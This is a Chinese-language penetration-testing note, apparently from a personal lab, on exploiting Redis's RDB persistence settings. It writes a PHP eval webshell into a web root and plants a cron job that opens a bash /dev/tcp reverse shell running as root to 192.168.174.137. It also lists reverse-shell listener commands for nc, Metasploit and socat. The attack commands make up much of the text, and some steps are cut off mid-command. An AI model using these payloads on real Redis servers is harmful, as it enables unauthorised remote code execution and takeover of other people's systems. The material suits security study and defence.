Redis利用
Redis
- 环境搭建在之前的笔记中记录过了就不再演示了
Redis持久化机制
redis会把保存到内存的数据不定期的保存到磁盘里,来提升可靠性,较小服务器故障带来的数据丢失的问题
redis有俩种持久化机制RDB和AOF
配置:
1、save 3600 1 # 自动触发规则
2、dbfilename dump.rdb # 文件名
3、dir ./ # 存储路径
手动触发保存命令: save /bgswave
而这样的机制就导致一些恶意的脚本也会被保存下来,下面我们修改一下两项配置测试一下
# 动态修改,只在连接里有效,下次使用还是用配置文件里的配置 |
测试一下,会不会保存到文件里
可以看到确实生成了redis.php,所以我们可以通过这种方式写马。
webshell提权
简单用小皮起个web服务
yum install -y wget && sudo wget -O install.sh https://dl.xp.cn/dl/xp/install.sh && sudo bash install.sh |
站点目录:/xp/www/admin/localhost_80/wwwroot,把redis的保存目录设置到这里
写入一个带木马的数据到redis数据库
set x "<?php @eval($_POST[cmd]); ?>" |
可以看到木马已经被写进来了
页面可以被访问到,再试试能不能用蚁剑连接
成功连接上了,试试执行命令
反弹连接
如果一台服务器没有监听80端口,而单纯是一台跑着redis的数据库服务器,或者找不到网站根路径的时候
为什么要用反弹连接:
- 内网,私有ip
- ip动态有变化
- 6379端口不允许入方向
- 一句话木马被杀软删除
常见监听端口的方式
类型 | 命令 |
---|---|
netcat | nc -lvp 7777 (-lnvp -lvvp) n表示不进行dns解析 |
msf | msfconsole use exploit/multi/handler set payload php/meterpreter/reverse_tcp set lhost 192.168.174.137 set port 7777 run |
socat | socat TCP-LISTEN:7777 - kali |
而反弹shell的方式有非常多,可以用一些在线的网站https://rshell.gm7.org/
sh -i >& /dev/tcp/192.168.174.137/7777 0>&1 |
因为是root执行的,所以反弹回来是root权限
redis写入反弹连接任务
redis写反弹shell一般是通过定时任务,但cron表达式容易写错,我们可以通过在线生成的方式生成
0 15 10 * * ? * | 每天10点15分触发 |
---|---|
0 15 10 * * ? 2017 | 2017年每天10点15分触发 |
0 * 14 * * ? | 每天下午的 2点到2点59分每分触发 |
0 0/5 14 * * ? | 每天下午的 2点到2点59分(整点开始,每隔5分触发) |
0 0/5 14,18 * * ? | 每天下午的 2点到2点59分、18点到18点59分(整点开始,每隔5分触发) |
0 0-5 14 * * ? | 每天下午的 2点到2点05分每分触发 |
0 15 10 ? * 6L | 每月最后一周的星期五的10点15分触发 |
0 15 10 ? * 6#3 | 每月的第三周的星期五开始触发 |
“/”:为特别单位,表示为“每”如“0/15”表示每隔15分钟执行一次,“0”表示为从“0”分开始, “3/20”表示表示每隔20分钟执行一次,“3”表示从第3分钟开始执行
“?”:表示每月的某一天,或第周的某一天
“L”:用于每月,或每周,表示为每月的最后一天,或每个月的最后星期几如“6L”表示“每月的最后一个星期五”
“W”:表示为最近工作日,如“15W”放在每月(day-of-month)字段上表示为“到本月15日最近的工作日”
““#”:是用来指定“的”每月第n个工作日,例 在每周(day-of-week)这个字段中内容为”6#3” or “FRI#3” 则表示“每月第三个星期五”
contab命令
命令 | 操作 |
---|---|
crontab -u root -r | 删除某个用户的任务 |
crontab -u root time.cron | 把文件添加到某个用户的任务 |
crontab -u root -l | 列举某个用户的任务 |
crontab -u root -e | 编辑某个用户的任务 |
测试的时候还发现xp写了一条定时任务。。。
crontab文件存储路径
路径 | 内容 |
---|---|
/var/spool/cron | 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab |
/etc/contab | 放的是对应周期的任务dalily、 hourly、monthly、weekly |
测试
首先在攻击机上起一个监听
socat TCP-LISTEN:8888 - |
然后通过redis写入定时任务
set y "\n* * * * * bash -i >& /dev/tcp/192.168.174.137/8888 0>&1\n" #每隔一分钟执行一次 |
在Unix-like系统中,* * * * *
这样的格式通常用于crontab文件中,用于设置定时任务(cron job)。crontab是一个用于配置周期性被执行的指令的守护程序。每个字段代表一个时间单位:
- 第一个星号(*):分钟(0 - 59)
- 第二个星号(*):小时(0 - 23)
- 第三个星号(*):一个月中的日期(1 - 31)
- 第四个星号(*):月份(1 - 12)
- 第五个星号(*):星期中的日期(0 - 7)其中0和7都代表星期日
* * * * *
表示每分钟、每小时、每天、每月、每周的任何时间都会执行后面的命令。
再将指令,写入定时任务的文件里
config set dir /var/spool/cron/ |
SSH key免密登录
- 客户端生成密钥对((公钥、私钥)
- 客户端把公钥发给服务端保存(正常情况需要密码)
- 客户端用私钥加密消息,发给服务端
- 服务端用公钥解密,解密成功,说明密钥匹配
- 客户端免密登录成功